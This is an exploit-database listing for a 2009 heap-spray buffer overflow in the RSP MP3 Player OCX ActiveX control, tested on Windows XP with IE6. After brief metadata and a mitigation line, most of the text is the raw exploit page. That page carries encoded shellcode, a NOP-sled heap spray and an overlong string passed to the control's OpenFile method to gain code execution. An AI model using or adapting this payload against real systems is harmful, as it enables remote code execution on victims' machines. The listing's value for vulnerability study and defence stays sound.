RSP MP3 Player OCX ActiveX Buffer Overflow (heap spray)

vendor:

RSP MP3 Player OCX ActiveX

by:

MadjiX, Dz8(a)Hotmail.com

7,6

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: RSP MP3 Player OCX ActiveX

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

RSP MP3 Player OCX ActiveX Buffer Overflow (heap spray)

This exploit is a heap spray attack on the RSP MP3 Player OCX ActiveX control. It was discovered by Blake and tested on Windows XP SP3 (Fr) with IE6. The exploit uses a malicious JavaScript code to open a file with a large number of newline characters, which causes a buffer overflow and leads to arbitrary code execution.

Mitigation:

Disable the ActiveX control or upgrade to a version that is not vulnerable.

Source

Exploit-DB raw data:

<html>
<br></br>
<br>.  .     .    \  / </br>
<br>|\/| _. _|  ** ><  </br>
<br>|  |(_](_]  ||/  \ </br>
<br>          ._|      </br>
<br></br>
<br>RSP MP3 Player OCX ActiveX Buffer Overflow (heap spray)</br>
<br>By : MadjiX , Dz8(a)Hotmail.com</br>
<br>Discovered by Blake: http://www.exploit-db.com/exploits/14309/
<br>Greetings: His0k4 , Bibi-info , The g0bl!n (y) , sec4ever.com</br>
<br>Tested on Windows Xp Sp3 (Fr),with IE6</br>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' ></object>
<script>
sh = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
					
n=unescape('%u9090%u9090'); 
h = 20;
s= h + sh.length;
while(n.length<s) n+=n;
f=n.substring(0,s);
b=n.substring(0,n.length-s);
while(b.length+s<0x40000) b=b+b+f;
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= b + sh; 
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a"); 
 
target.OpenFile(ret);

</script>
</html>